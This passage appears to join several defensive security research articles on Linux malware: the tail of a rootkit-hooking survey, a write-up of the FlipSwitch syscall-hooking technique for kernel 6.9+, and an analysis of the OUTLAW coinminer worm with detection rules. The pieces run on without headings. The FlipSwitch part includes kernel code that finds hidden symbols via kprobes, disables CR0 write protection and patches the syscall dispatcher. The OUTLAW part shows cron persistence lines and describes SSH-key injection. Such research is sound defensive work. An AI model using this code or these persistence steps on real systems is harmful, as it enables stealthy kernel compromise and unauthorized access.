    // Upper 32 bits = PID, Lower 32 bits = TID
    __u64 pid_tgid = bpf_get_current_pid_tgid();

    // Delegate handling logic to a helper function
    return handle_tp_sys_enter_execve(ctx, pid_tgid);
}

Two prominent public examples are TripleCross and Boopkit. TripleCross demonstrated a rootkit that used eBPF to hook syscalls like execve for persistence and hiding. Boopkit used eBPF as a covert communication channel and backdoor, by attaching eBPF programs that could manipulate socket buffers (allowing a remote party to communicate with the rootkit through crafted packets). These are proof-of-concept projects, but they proved the viability of eBPF in rootkit development.

Main advantages are that eBPF hooking does not require an LKM to be loaded and is compatible with modern kernel protections. For eBPF-supported kernels, this is a strong technique. But although they are powerful, they are also constrained. They need elevated privileges to load, are limited by the verifier’s safety checks, are ephemeral across reboots (requiring separate persistence), and are increasingly discoverable by auditing/forensic tools. The usage of eBPF will especially be visible on systems that typically do not use eBPF tooling.

Evasion Techniques Using io_uring

While io_uring is not used for hooking, it deserves a honarable mention as a recent addition to the EDR evasion techniques used by rootkits. io_uring is an asynchronous, ring-buffer-based I/O API that lets processes submit batches of I/O requests (SQEs) and reap completions (CQEs) with minimal syscall overhead. It is not a hooking framework, but its design changes the syscall/visibility surface and exposes powerful kernel-facing primitives (registered buffers, fixed files, mapped rings) that attackers can abuse for stealthy I/O, syscall-evading workflows, or, when combined with a vulnerability, as an exploit primitive that leads to installing hooks at a lower layer.

Attack patterns fall into two classes: (1) evasion/performance abuse: a malicious process uses io_uring to perform lots of reads/writes/metadata ops in large batches so traditional per-syscall detectors see fewer events or atypical patterns; and (2) exploit enabling: bugs in io_uring surfaces (ring mappings, registered resources) have historically been the vector for privilege escalation, after which an attacker can install kernel hooks by more traditional means. io_uring also bypasses some libc wrappers if code submits operations directly, so userland hooking that intercepts libc calls may be circumvented. A simple submit/reap flow is illustrated below:

// Minimal io_uring usage (error handling omitted)

// io_uring context (SQ/CQ rings shared with kernel)
struct io_uring ring;

// Initialize ring with space for 16 SQEs
io_uring_queue_init(16, &ring, 0);

// Grab a free submission entry (or NULL if full)
struct io_uring_sqe *sqe =
    io_uring_get_sqe(&ring);

// Prepare SQE as a read(fd, buf, len, offset=0)
io_uring_prep_read(sqe, fd, buf, len, 0);

// Submit pending SQEs to the kernel (non-blocking)
io_uring_submit(&ring);

struct io_uring_cqe *cqe;
// Block until a completion is available
io_uring_wait_cqe(&ring, &cqe);
// Mark the completion as handled (free slot)
io_uring_cqe_seen(&ring, cqe);

The example above shows a submission queue feeding many file ops into the kernel with a single or a few io_uring_enter syscalls, reducing per-operation syscall telemetry.

Adversaries interested in stealthy data collection or high-throughput exfiltration may switch to io_uring to reduce syscall noise. io_uring does not inherently install global hooks or change other processes’ behavior; it is process-local unless combined with privilege escalation. Detection is possible by instrumenting the io_uring syscalls (io_uring_enter, io_uring_register) and watching for anomalous patterns: unusually large batches, many registered files/buffers, or processes that perform heavy batched metadata operations. Kernel version differences also matter: io_uring features evolve quickly, so attacker techniques may be version-dependent. Finally, because io_uring requires a running malicious process, defenders can often interrupt it and inspect its rings, registered files, and memory mappings to uncover misuse.

Conclusion

Hooking techniques in Linux have come a long way from simply overwriting a pointer in a table. We now see attackers exploiting legitimate kernel instrumentation frameworks (ftrace, kprobes, eBPF) to implant hooks that are harder to detect. Each method, from IDT and syscall table patches to inline hooks and dynamic probes, has its own trade-offs in stealth and stability. Defenders need to be aware of all these possible vectors. In practice, modern rootkits often combine multiple hooking techniques to achieve their goals. For example, PUMAKIT uses a direct syscall table hook and ftrace hooks, and Diamorphine uses syscall hooks plus a kprobe to get around symbol hiding. This layered approach means detection tools must check many facets of the system: IDT entries, syscall tables, model-specific registers (for sysenter hooks), integrity of function prologues, contents of critical function pointers in structures (VFS, etc.), active ftrace ops, registered kprobes, and loaded eBPF programs.

In part two of this series, we move from theory to practice. Armed with the understanding of rootkit taxonomy and hooking techniques covered here, we will focus on detection engineering, building and applying practical detection strategies to identify these threats in real-world Linux environments.

Syscall hooking, particularly by overwriting pointers to syscall handlers, has been a cornerstone of Linux rootkits like Diamorphine and PUMAKIT, enabling them to hide their presence and control the flow of information. While other hooking mechanisms exist, such as ftrace and eBPF, each has its own pros and cons, and most have some form of limitation. Function pointer overwrites remain the most effective and simple way of hooking syscalls in the kernel.

However, the Linux kernel is a moving target. With each new release, the community introduces changes that can render entire classes of malware obsolete overnight. This is precisely what happened with the release of Linux kernel 6.9, which introduced a fundamental change to the syscall dispatch mechanism for x86-64 architecture, effectively neutralizing traditional syscall hooking methods.

The Walls Are Closing In: The Death of a Classic Hooking Technique

To appreciate the significance of the changes in kernel 6.9, let's first revisit the classic method of syscall hooking. For years, the kernel used a simple array of function pointers called the sys_call_table to dispatch syscalls. The logic was beautifully simple, as seen in the kernel source:

// Pre-6.9: Direct array lookup
sys_call_table[__NR_kill](regs);

A rootkit could locate this table in memory, disable write protection, and overwrite the address of a syscall like kill or getdents64 with a pointer to its own adversary-controlled function. This empowers a rootkit to filter the output of the ls command to hide malicious files or prevent a specific process from being terminated, for example. But the directness of this mechanism was also its weakness. With Linux kernel 6.9, the game changed completely when the direct array lookup was replaced with a more efficient and secure switch statement-based dispatch mechanism:

// Kernel 6.9+: Switch-statement dispatch
long x64_sys_call(const struct pt_regs *regs, unsigned int nr)
{
    switch (nr) {
    #include <asm/syscalls_64.h> // Expands to case statements
    default: return __x64_sys_ni_syscall(regs);
    }
}

This change, while seemingly subtle, was a death blow to traditional syscall hooking. The sys_call_table still exists for compatibility with tracing tools, but it is no longer used for the actual dispatch of syscalls. Any modifications to it are simply ignored.

Finding a New Way In: The FlipSwitch Technique

We knew that the kernel still had to call the original syscall functions somehow. The logic was still there, just hidden behind a new layer of indirection. This led to the development of FlipSwitch, a technique that bypasses the new switch statement implementation by directly patching the compiled machine code of the kernel's syscall dispatcher.

Here's a breakdown of how it works:

The first step is to find the address of the original syscall function we want to hook. Ironically, the now-defunct sys_call_table is the perfect tool for this. We can still look up the address of sys_kill in this table to get a reliable pointer to the original function.

A common method to locate kernel symbols is the kallsyms_lookup_name function. This function provides a programmatic way to find the address of any exported kernel symbol by its name. For instance, we can use kallsyms_lookup_name("sys_kill") to obtain the address of the sys_kill function, providing a flexible and reliable way to obtain function pointers even when the sys_call_table is not directly usable for dispatch.

It's important to note that kallsyms_lookup_name is generally not exported by default, meaning it's not directly accessible to loadable kernel modules. This restriction enhances kernel security. However, a common technique to indirectly access kallsyms_lookup_name is by using a kprobe. By placing a kprobe on a known kernel function, a module can then use the kprobe's internal structure to derive the address of the original, probed function. From this, a function pointer to kallsyms_lookup_name can often be obtained through careful analysis of the kernel's memory layout, such as by examining nearby memory regions relative to the probed function's address.

/**
 * Find the address of kallsyms_lookup_name using kprobes
 * @return Pointer to kallsyms_lookup_name function or NULL on failure
 */
void *find_kallsyms_lookup_name(void)
{
    struct kprobe *kp;
    void *addr;

    kp = kzalloc(sizeof(*kp), GFP_KERNEL);
    if (!kp)
        return NULL;

    kp->symbol_name = O_STRING("kallsyms_lookup_name");
    if (register_kprobe(kp) != 0) {
        kfree(kp);
        return NULL;
    }

    addr = kp->addr;
    unregister_kprobe(kp);
    kfree(kp);

    return addr;
}

After finding the address of kallsyms_lookup_name, we can use it to find pointers to the symbols that we need to continue the process of placing a hook.

With the target address in hand, we then turn our attention to the x64_sys_call function, the new home of the syscall dispatch logic. We begin to scan its raw machine code, byte by byte, looking for a call instruction. On x86-64, the call instruction has a specific one-byte opcode: 0xe8. This byte is followed by a 4-byte relative offset that tells the CPU where to jump to.

This is where the magic happens. We're not just looking for any call instruction. We're looking for a call instruction that, when combined with its 4-byte offset, points directly to the address of the original sys_kill function we found previously. This combination of the 0xe8 opcode and the specific offset is a unique signature within the x64_sys_call function. There is only one instruction that matches this pattern.

/* Search for call instruction to sys_kill in x64_sys_call */
    for (size_t i = 0; i < DUMP_SIZE - 4; ++i) {
        if (func_ptr[i] == 0xe8) { /* Found a call instruction */
            int32_t rel = *(int32_t *)(func_ptr + i + 1);
            void *call_addr = (void *)((uintptr_t)x64_sys_call + i + 5 + rel);
            
            if (call_addr == (void *)sys_call_table[__NR_kill]) {
                debug_printk("Found call to sys_kill at offset %zu\n", i);

Once we've located this unique instruction, we've found our insertion point. But before we can modify the kernel's code, we must bypass its memory protections. Since we are already executing within the kernel (ring 0), we can use a classic, powerful technique: disabling write protection by flipping a bit in the CR0 register. The CR0 register controls basic processor functions, and its 16th bit (Write Protect) prevents the CPU from writing to read-only pages. By temporarily clearing this bit, we permit ourselves to modify any part of the kernel's memory.

/**
 * Force write to CR0 register bypassing compiler optimizations
 * @param val Value to write to CR0
 */
static inline void write_cr0_forced(unsigned long val)
{
    unsigned long order;

    asm volatile("mov %0, %%cr0" 
        : "+r"(val), "+m"(order));
}

/**
 * Enable write protection (set WP bit in CR0)
 */
static inline void enable_write_protection(void)
{
    unsigned long cr0 = read_cr0();
    set_bit(16, &cr0);
    write_cr0_forced(cr0);
}

/**
 * Disable write protection (clear WP bit in CR0)
 */
static inline void disable_write_protection(void)
{
    unsigned long cr0 = read_cr0();
    clear_bit(16, &cr0);
    write_cr0_forced(cr0);
}

With write protection disabled, we overwrite the 4-byte offset of the call instruction with a new offset that points to our own fake_kill function. We have, in effect, "flipped the switch" inside the kernel's own dispatcher, redirecting a single syscall to our malicious code while leaving the rest of the system untouched.

This technique is both precise and reliable. And, significantly, all changes are fully reverted when the kernel module is unloaded, leaving no trace of its presence.

The development of FlipSwitch is a testament to the ongoing cat-and-mouse game between attackers and defenders. As kernel developers continue to harden the Linux kernel, attackers will continue to find new and creative ways to bypass these defenses. We hope that by sharing this research, we can help the security community stay one step ahead.

Detecting malware

Detecting rootkits once they have been loaded into the kernel is exceptionally difficult, as they are designed to operate stealthily and evade detection by security tools. However, we have developed a YARA signature to identify the proof-of-concept for FlipSwitch. This signature can be used to detect the presence of the FlipSwitch rootkit in memory or on disk.

YARA

Elastic Security has created YARA rules to identify this activity. Below are YARA rules to identify the Flipswitch proof of concept.

rule Linux_Rootkit_Flipswitch_821f3c9e
{
	meta:
		author = "Elastic Security"
		description = "Yara rule to detect the FlipSwitch rootkit PoC"
		os = "Linux"
		arch = "x86"
		category_type = "Rootkit"
		family = "Flipswitch"
		threat_name = "Linux.Rootkit.Flipswitch"
		
	strings:
		$all_a = { FF FF 48 89 45 E8 F0 80 ?? ?? ?? 31 C0 48 89 45 F0 48 8B 45 E8 0F 22 C0 }
		$obf_b = { BA AA 00 00 00 BE 0D 00 00 00 48 C7 ?? ?? ?? ?? ?? 49 89 C4 E8 }
		$obf_c = { BA AA 00 00 00 BE 15 00 00 00 48 89 C3 E8 ?? ?? ?? ?? 48 89 DF 48 89 43 30 E8 ?? ?? ?? ?? 85 C0 74 0D 48 89 DF E8 }
		$main_b = { 41 54 53 E8 ?? ?? ?? ?? 48 C7 C7 ?? ?? ?? ?? 49 89 C4 E8 ?? ?? ?? ?? 4D 85 E4 74 2D 48 89 C3 48 85 }
		$main_c = { 48 85 C0 74 1F 48 C7 ?? ?? ?? ?? ?? ?? 48 89 C7 48 89 C3 E8 ?? ?? ?? ?? 85 C0 74 0D 48 89 DF E8 ?? ?? ?? ?? 45 31 E4 EB 14 }
		$debug_b = { 48 89 E5 41 54 53 48 85 C0 0F 84 ?? ?? 00 00 48 C7 }
		$debug_c = { 48 85 C0 74 45 48 C7 ?? ?? ?? ?? ?? ?? 48 89 C7 48 89 C3 E8 ?? ?? ?? ?? 85 C0 75 26 48 89 DF 4C 8B 63 28 E8 ?? ?? ?? ?? 48 89 DF E8 }

	condition:
		#all_a>=2 and (1 of ($obf_*) or 1 of ($main_*) or 1 of ($debug_*))
}

References

The following were referenced throughout the above research:

• https://github.com/1337-42/FlipSwitch-dev/
• https://www.virusbulletin.com/conference/vb2025/abstracts/unmasking-unseen-deep-dive-modern-linux-rootkits-and-their-detection/

OUTLAW is a persistent yet unsophisticated auto-propagating coinminer package observed across multiple versions over the past few years [1], [2], [3], [4]. Despite lacking stealth and advanced evasion techniques, it remains active and effective by leveraging simple but impactful tactics such as SSH brute-forcing, SSH key and cron-based persistence, and manually modified commodity miners and IRC channels. This persistence highlights how botnet operators can achieve widespread impact without relying on sophisticated techniques.

To gain deeper insights into OUTLAW’s behavior and operational patterns, we deployed a honeypot designed to attract and observe the attackers in action. By carefully crafting an environment that mimicked a vulnerable system, we were able to bait the adversaries into interacting with our server. This interaction revealed automated and manual actions, with operators entering commands directly, making modifications on the fly, and even mistyping commands—clear indicators of human involvement. A captured GIF showcases these moments, providing a rare glimpse into their real-time decision-making process.

By analyzing OUTLAW, we gain new insights into the tooling used by its operators and their evolving strategies over time. This malware presents a valuable opportunity to apply detection engineering principles, as its attack chain spans nearly the entire MITRE ATT&CK framework. Examining its infection process allows us to develop effective detection strategies that capitalize on its predictable and repetitive behaviors.

This report provides a full attack chain analysis, including detailed detection rules and hunting queries. By breaking down OUTLAW’s components, we demonstrate how even rudimentary malware can maintain longevity in modern environments and how defenders can leverage its simplicity to enhance detection and response.

Key Takeaways

• Persistent but unsophisticated: OUTLAW remains active despite using basic techniques like SSH brute-forcing, SSH key manipulation, and cron-based persistence.
• Commodity tooling: The malware deploys modified XMRig miners, leverages IRC for C2, and includes publicly available scripts for persistence and defense evasion.
• Extensive attack surface: OUTLAW’s infection chain spans nearly the entire MITRE ATT&CK framework, offering many detection and hunting opportunities.
• Worm-like propagation: OUTLAW uses its compromised hosts to launch further SSH brute-force attacks on their local subnets, rapidly expanding the botnet.

OUTLAW Overview

OUTLAW follows a multi-stage infection process that begins with downloading and executing its payload, establishing persistence, and expanding its botnet through SSH brute-force attacks. The execution chain is displayed below:

1. Initial Infection & Deployment

• The attack starts when tddwrt7s.sh downloads the dota3.tar.gz package from a C2 server.
• The extracted initall.sh script executes, kicking off the infection chain.

2. Gaining Control & Persistence

• The malware ensures dominance by killing competing brute-forcers and miners.
• It then deploys:
  • Modified XMRIG for crypto mining (connecting to a mining pool).
  • STEALTH SHELLBOT for remote control via IRC C2.
  • BLITZ to perform SSH brute force attacks.

3. Propagation & Expansion

• The brute-force module retrieves target lists from an SSH C2 server and attempts SSH brute-force attacks on new machines.
• Successfully compromised systems are infected, repeating the cycle.

This automated infection loop allows OUTLAW to remain active and profitable with minimal effort from attackers. Let’s take a deeper look at the entire attack chain.

OUTLAW Execution Chain

OUTLAW effectively covers a wide range of tactics and techniques in the MITRE ATT&CK framework. This section maps its behavior to provide an overview of its infection chain and methods.

Initial Access: blitz

OUTLAW gains initial access through opportunistic SSH brute-forcing, targeting systems with weak or default credentials. The malware employs its blitz component, also known under other names such as kthreadadd, to perform high-volume scanning and password-guessing attempts. It leverages lists of target IPs and credentials retrieved from its C2 servers.

OUTLAW also acts like a worm, automatically installing itself on every system that it successfully compromises. This self-propagation mechanism allows it to spread rapidly across networks, turning each newly infected device into another node for further brute-forcing and infection attempts.

We will take a deeper look into how OUTLAW performs these attacks and propagates itself later in the article.

Execution: tddwrt7s.sh

The first infections of OUTLAW seem to originate from a straightforward dropper script: tddwrt7s.sh. This shell script checks for an existing installation. If the malware is already present and unpacked, it will run the initall script, kicking off the infection chain. Otherwise, it will attempt to download the package from a list of provided staging servers. For illustration purposes, a shortened snippet of the dropper is shown below:

The extracted dota3.tar.gz package extracts its contents into a hidden folder called .rsync, and contains the following entries:

 ├── a
 │   ├── a
 │   ├── init0
 │   ├── kswapd0
 │   ├── kswapd01
 │   ├── run
 │   ├── socat
 │   └── stop
 ├── b
 │   ├── a
 │   ├── run
 │   └── stop
 ├── c
 │   ├── blitz
 │   ├── blitz32
 │   ├── blitz64
 │   ├── go
 │   ├── run
 │   ├── start
 │   ├── stop
 │   └── v
 ├── init
 ├── init2
 └── initall

Let’s deconstruct the execution chains one by one.

Main Initialization script: initall

The three init scripts control the overall execution flow and deployment of the malware. Starting with the initall script, the main initializer determines which execution path to take. It checks the system environment and decides whether to use init or init2 based on file permissions and available directories.

These init scripts all use variable-based string concatenation obfuscation, where commands are split into small variable fragments that are dynamically concatenated and executed, making static analysis more difficult. For example, the initall script looks like this:

However, by changing the eval to an echo, we can get the output without any effort:

This script will, by default, consistently execute init. This is the primary execution path that installs the malware in the hidden directory ~/.configrc6. The fallback execution path is init2, which is used when ~/.configrc6 is inaccessible. The main difference is that this path keeps all components in the current working directory. Applying the same deobfuscation principle as we did previously, we end up with the following two scripts:

The first script (init) hides its components in the hidden directory ~/.configrc6, while the second script (init2) runs directly from the working directory. Despite this difference, the execution flow remains the same, starting the binary named a in the a/ and b/ directories as background processes and establishing persistence. In both scripts, the malware installs cron jobs that execute its binaries at regular intervals and on system reboots:

5 6 * * 0   ~/.configrc6/a/upd
@reboot     ~/.configrc6/a/upd
5 8 * * 0   ~/.configrc6/b/sync
@reboot     ~/.configrc6/b/sync
0 0 */3 * * ~/.configrc6/c/aptitude

Although the scripts execute the a binary in the a/ and b/ directories nearly simultaneously, we will follow the execution flow of the a/ directory first.

Subroutine Execution of a/ directory: XMRIG

The first script that is executed is a, which removes any existing cron jobs using crontab -r and then stores the current working directory in a variable. It then creates a shell script called upd that checks if a process (stored in bash.pid) is still running. If the process is not running, it executes ./run as a background process, ensuring that the malware is continuously restarted if terminated.

Additionally, we see some commented commands, indicating that other versions of this malware may exist under names such as rsync, go, kswapd0, blitz, and redtail.

Further down the script, a function is created that checks if /sys/module/msr/parameters/allow_writes exists and sets it to "on" to enable writing to Model-Specific Registers (MSRs). If the file does not exist, it enables MSR writes through the modprobe msr allow_writes=on command.

Next, the function identifies the active CPU by checking /proc/cpuinfo and applies specific MSR register values to optimize performance.

Finally, the function optimizes memory usage by enabling hugepages for all CPU cores, increasing memory access efficiency. It calculates the number of hugepages needed based on the available processors (nproc) and sets them in the /sys/devices/system/node/node*/hugepages/ directories.

The optimize_func() function was not created by the threat actor. The threat actor used an open-source script from the XMRig repository, specifically the randomx_boost.sh script, to aid in their infection chain.

Depending on the user's privileges, it will either run the whole optimization function, or attempt to set the number of hugepages through sysctl:

All steps performed in this chain show apparent signs of cryptocurrency mining system optimization. Finally, the script grants execution permissions to the upd file and "777" permissions to all files in its folder and runs upd.

As we saw earlier in the chain, the upd file checks whether the process stored in bash.pid is still running, and if it is not, it will execute the run script:

The run script will start the stop script, which is a typical script that bring down the defenses of any known miner configurations any known miner configurations and kill any known miner processes based on name/process ID or network traffic. A shortened version of this script is illustrated below:

Interestingly enough, a second process-killing script called init0 is present, which is an open-source script for killing cryptocurrency miners in a Linux environment. This script is not being run, as the execution flow for this script was commented out in the a script.

After the stop script has been successfully run, the run script starts the kswapd01 and kswapd0 binaries in the background via nohup.

kswapd01

The kswap01 binary plays a critical role in ensuring persistent communication within the malware’s infrastructure. Its main task is to monitor and maintain a continuous socat process, which is essential for communication with the attacker’s C2 servers.

When executed, kswap01 checks for any existing socat processes running on the infected machine. If no active connection is found, it proceeds to kill any running socat processes and selects an alternative IP address from a predefined list. The binary then establishes a new connection by launching a fresh socat process to listen on the local machine and forward traffic to a remote server, typically on port 4444. This ensures the malware maintains control over the infected system and can continue receiving commands from the attacker.

However, it's important to note that not every version of the OUTLAW malware package observed includes the socat binary. In these cases, the functionality provided by socat is either replicated by other means or simply omitted, relying on alternative methods for maintaining persistence and communication.

By performing these checks and modifications, kswap01 helps maintain the persistence of the C2 connection, making it harder for defenders to interrupt the communication channel between the attacker and the compromised system.

kswapd0

The file named kswapd0 is a maliciously modified copy of the legitimate XMRig cryptocurrency miner (specifically version 6.22.1).

Two major modifications define the malware’s behavior:

1. Startup Shell Commands

• The malware removes and recreates the victim’s ~/.ssh folder, injects an attacker-controlled SSH public key, and re-applies restrictive permissions (chattr +ia) to prevent modification. This grants persistent SSH access.
• It also removes or locks existing XMRig configuration files (e.g., ~/.xmrig.json, ~/.config/xmrig.json) to ensure the attacker’s embedded miner settings remain intact.

2. Embedded Miner Configuration

• The binary is compiled with an internal mining configuration, allowing XMRIG to run without an external config file.
• Mining traffic is routed to multiple Monero pools over plaintext ports (:80, :4444), SSL (:442), and occasionally TOR addresses. Note that the port 442 here is not a typo.
• The configuration optimizes performance by:
  • Running the miner in the background
  • Enabling large pages for RandomX
  • Setting the donation level to zero
  • Maximizing CPU thread usage

By locking out administrators, preventing config changes, and injecting an attacker-controlled SSH key, kswapd0 serves as a stealthy persistence mechanism — allowing for continuous Monero mining and unauthorized remote access, all while masquerading as a legitimate system process.

Subroutine Execution of b/ directory: STEALTH SHELLBOT

As we described earlier, the a binary in the b/ directory was also executed via the init scripts.

This script kicks off another stop script with the same purpose we described earlier: kill any known bad processes. Afterward, it creates a script called sync, with the sole purpose of executing the run script. This script is referenced in the cronjob we described earlier. The run script contains three base64-encoded blobs, which are piped to perl. An example of a shortened script is shown below:

Upon base64 decoding, obfuscated perl scripts are identified. These scripts leverage a public Perl Obfuscator utility to obfuscate their contents, making them harder to analyze:

Fortunately, the author left the standard comments in the obfuscated scripts. By using the publicly available deobfuscator we can deobfuscate the script through the following command:

perl decode-stunnix-5.17.1.pl < obfuscated_run.pl > deobfuscated_run.pl

After which we can view the deobfuscated contents:

This is just the first few lines of the script, for illustrative purposes. This deobfuscation technique can also be used for the other obfuscated Perl scripts used by OUTLAW. We will take a closer look at these scripts in just a moment.

The script ends off with installing its own SSH public key for persistent access, setting restrictive permissions, and making the directory immutable to prevent modification through chattr:

STEALTH SHELLBOT Scripts

The STEALTH SHELLBOT scripts used in OUTLAW are not custom-built but rather publicly available IRC bot scripts, often sourced from old GitHub repositories and underground forums. These scripts have been around for over a decade, originally designed for remote administration, automation, and botnet management. However, they have since been repurposed by malware authors for malicious activities.

SHELLBOT scripts operate as IRC-based backdoors, allowing attackers to remotely control infected machines via predefined commands sent through an IRC channel. Once connected to the attacker’s IRC server, these bots can:

• Execute arbitrary shell commands
• Download and execute additional payloads
• Launch DDoS attacks (in older variants)
• Steal credentials or exfiltrate system information
• Manage crypto miners or other malware components

OUTLAW integrates these legacy SHELLBOT scripts as a secondary persistence mechanism, ensuring that even if its brute-force modules are disrupted, attackers still retain a remote foothold. The bot connects to an attacker-controlled IRC C2, where it listens for further commands, enabling on-demand execution of malicious actions.

While these scripts are not novel, their continued use highlights how attackers rely on publicly available tools rather than developing new malware from scratch.

Subroutine Execution of c/ directory: Customer Bruteforcer

As part of the third and final sub-routine, a custom bruteforce tool is deployed. This chain starts, similar to the previous sub-routines, from the init and init2 scripts. These scripts both call the start script, containing the following contents:

This script stores the current working directory, provides all permissions (777) to all files in the current directory, and creates a script named aptitude (which is also called by the previously set up cron job), to run the run script. After creating aptitude, it is granted execution permissions and is run.

The run script is used to gather CPU architecture information and count CPU cores to determine execution behavior, as shown below:

If the system is x86_64, it checks whether the CPU has fewer than 7 cores, introducing a randomized delay before executing ./go in the background. If 7 or more cores are detected, execution is skipped or altered (with a previously used binary golan now commented out). The threat actor may have been testing or working with a Golang binary that can make full use of the number of cores present in a system, but that is just a guess.

In most scenarios, the execution flow moves to the bash script called go:

The script determines the CPU architecture and assigns a thread count accordingly:

• ARM-based systems → 75 threads
• i686 (32-bit x86) → 325 threads
• All others (default) → 475 threads

It then enters an infinite loop, executing the following actions:

1. Creates and cleans up temporary files (v, p, ip, xtr*, a.*, b.*).
2. Writes hardcoded values (257.287.563.234 and sdaferthqhr34312asdfa) into files c and d.
3. Waits for a random delay (1-30 seconds) before launching blitz.
4. Executes blitz for 3 hours with specified parameters (-t $threads suggests multi-threaded processing).
5. Performs post-execution cleanup, removing temporary and log files before repeating the cycle.

BLITZ

OUTLAW is a self-propagating worm that spreads laterally through SSH brute-force attacks using BLITZ, its custom-built brute-forcer. Designed for aggressive, automated credential attacks, BLITZ systematically scans for and compromises systems with weak or default SSH credentials, allowing the malware to expand its foothold with minimal attacker intervention.

BLITZ Execution Process

Upon execution, BLITZ follows a structured attack sequence:

1. IP Target and Credential Retrieval
   • BLITZ contacts an SSH C2 server to fetch a list of target IPs and credential pairs.
2. Brute-Force Authentication & System Profiling
   • Using multi-threaded SSH brute-forcing, BLITZ attempts to authenticate with stolen credentials.
   • Once access is gained, it:
     • Changes the user’s password for persistent access.
     • Executes system reconnaissance commands, collecting:
       • User privileges
       • CPU details
       • SSH banner information
       • OS version
     • Exfiltrates gathered data to the C2 server.
3. Subnet Scanning & Lateral Movement
   • The malware scans the local subnet of newly compromised systems, identifying additional SSH-accessible machines to attack.
4. Self-Replication & Malware Deployment
   • Instead of downloading from an external C2, BLITZ directly transfers the dota3.tar.gz malware package from the infecting host to the new victim, reinforcing persistence and minimizing reliance on external infrastructure.

By combining automated brute-force attacks, system profiling, subnet scanning, and direct malware transfer, BLITZ maximizes infection efficiency while ensuring continued network expansion.

Binary Analysis & C2 Communication

Beyond brute-force operations, analysis reveals that BLITZ executes its tasks by interacting with system shell commands and an embedded SSH library. Once connected to a compromised system, it queries the C2 server for updated targets and relays authentication data.

Additionally, OUTLAW incorporates a hardcoded SSH key for C2 authentication, which must be unlocked using the password "pegasus". Upon successful authentication, Blitz logs attack details into a "v" file, structured as follows:

This log contains:

• Original username and password used in the attack.
• The victim’s IP address and the new password set by the malware.
• SSH port and OS details, including CPU specifications.

Once BLITZ completes its scanning cycle, the "v" file is exfiltrated to an SSH C2 server, providing attackers with a continuously updated list of infected systems.

Post-Compromise

To analyze the attacker’s post-compromise behavior, we deliberately set up a honeypot and proactively uploaded its credentials to the same SSH C2 server used by the attacker. This effectively invited the attacker into our controlled environment, allowing us to closely monitor their subsequent actions.

A few days after BLITZ successfully brute-forced and set a new password on the honeypot system, we observed a remote login using these credentials. The login originated from 212.234.225[.]29. The attacker immediately performed basic reconnaissance by running the w command to check who was logged in and then executing ps to see what processes were running. In the course of typing commands, they made a small typo and killed the prompt with a quick Ctrl+C, indicating a manual interaction rather than an automated script at this stage. Next, the attacker pasted a series of commands to download a fresh copy of dota3.tar.gz via wget, unpacked it, and executed the newly fetched script.

This whole chain of activity can be displayed through session view, an investigation tool that allows you to examine Linux process data organized in a tree-like structure according to the Linux logical event model, with processes organized by parentage and time of execution. It displays events in a highly readable format that is inspired by the terminal. This makes it a powerful tool for monitoring and investigating session activity on your Linux infrastructure and understanding user and service behavior.

The attack chain displayed above mirrors the original infection method, suggesting that the attacker was either updating components or re-infecting the host to maintain persistence. Soon after verifying that the updated payload was running, the attacker disconnected from the host, leaving behind an environment primed for continued SSH brute-forcing, cryptocurrency mining, and remote control via IRC.

This brief login serves as a reminder that even unsophisticated campaigns can include pockets of interactive attacker activity—a manual "quality check" of sorts—underscoring the importance of timely detection and swift containment.

Detecting OUTLAW through MITRE ATT&CK

OUTLAW is a Linux malware that relies on SSH brute-force attacks, cryptocurrency mining, and worm-like propagation to infect and maintain control over systems. While not highly sophisticated, it covers a broad range of MITRE ATT&CK techniques, making it an effective case for detection engineering.

This section maps OUTLAW’s attack chain to MITRE ATT&CK, highlighting Elastic SIEM and endpoint rules and threat-hunting queries that can identify its activity at different stages.

OUTLAW follows a structured infection flow:

• Initial Access – SSH brute-force against weak credentials.
• Execution – Runs malicious scripts to kick off several stages of malware infection.
• Persistence – Installs cron jobs and modifies SSH keys.
• Defense Evasion – Hides in hidden directories, modifies file permissions, uses packing techniques, command encoding, and obfuscates scripts.
• Credential Access – Modifies credentials and injects public SSH keys.
• Discovery – Enumerates user, system, and hardware details.
• Lateral Movement – Spreads via internal SSH brute-force and malware transfer.
• Collection & Exfiltration – Collects and exfiltrates system data to its C2.
• Command and Control – Uses socat and STEALTH SHELLBOT for C2 communication.
• Impact – Launches XMRIG to mine cryptocurrency and leverages the infected host as a brute-force node.

The following sections detail detection strategies for each technique, helping defenders effectively identify and mitigate OUTLAW’s infections.

TA001: Initial Access

OUTLAW gains initial access through opportunistic SSH brute-forcing, targeting systems with weak or default credentials. Elastic pre-built detection rules can successfully detect this method of initial access. These include:

• Potential External Linux SSH Brute Force Detected
• Potential Successful SSH Brute Force Attack

Additionally, there are several rules based on authentication logs to detect suspicious SSH authentications:

• Successful SSH Authentication from Unusual SSH Public Key
• Successful SSH Authentication from Unusual User
• Successful SSH Authentication from Unusual IP Address

Besides relying on detections, it is important to incorporate threat hunting into your workflow. Elastic Security provides several hunting queries using ES|QL and OSQuery, publicly available in our Detection Rules repository, specifically in the Linux hunting subdirectory. For example, the following two hunts may help in identifying different stages of the attack:

• Logon Activity by Source IP
• Excessive SSH Network Activity to Unique Destinations

TA002: Execution

After gaining initial access, OUTLAW executes a series of scripts and binaries to establish control. Upon downloading and unpacking, we detect:

• File Downloaded from Suspicious Source by Web Server
• Memory Threat Detection Alert: Linux.Trojan.Pornoasset

The STEALTH SHELLBOT script is detected through:

• Script Executed Through Unusual Parent Process

Additionally, the malware executes multiple suspicious system commands, triggering:

• Suspicious System Commands Executed by Previously Unknown Executable

TA003: Persistence

This combination of cron-based execution and SSH key manipulation allows OUTLAW to maintain a persistent foothold on compromised systems. Both of these persistence techniques are extensively researched in our "Linux Detection Engineering - A primer on persistence mechanisms" publication. We can detect these techniques through the following SIEM and endpoint rules:

• Cron Job Created or Modified
• SSH Authorized Keys File Modification
• Potential Persistence via File Modification

Additionally, we can hunt for these techniques through the following ES|QL and OSQuery hunts:

• Persistence via Cron
• Persistence via SSH Configurations and/or Keys

TA005: Defense Evasion

OUTLAW employs multiple defense evasion techniques to avoid detection. One of its primary methods is Base64 decoding, which is detected through the following pre-built rules:

• Base64 Decoded Payload Piped to Interpreter
• Unusual Base64 Encoding/Decoding Activity
• Linux Payload Decoded and Decrypted via Built-in Utility

Additionally, the malware's binaries are packed with UPX, reducing their size and altering their signature to evade traditional malware detection. Once the malware unpacks in memory, this is detected through our general malware detections.

Continuing down the execution chain, the malware creates several hidden files and directories and modifies them using chattr:

• File Permission Modification in Writable Directory
• Creation of Hidden Files and Directories via CommandLine
• File made Immutable by Chattr
• Chattr Execution from Unusual Parent

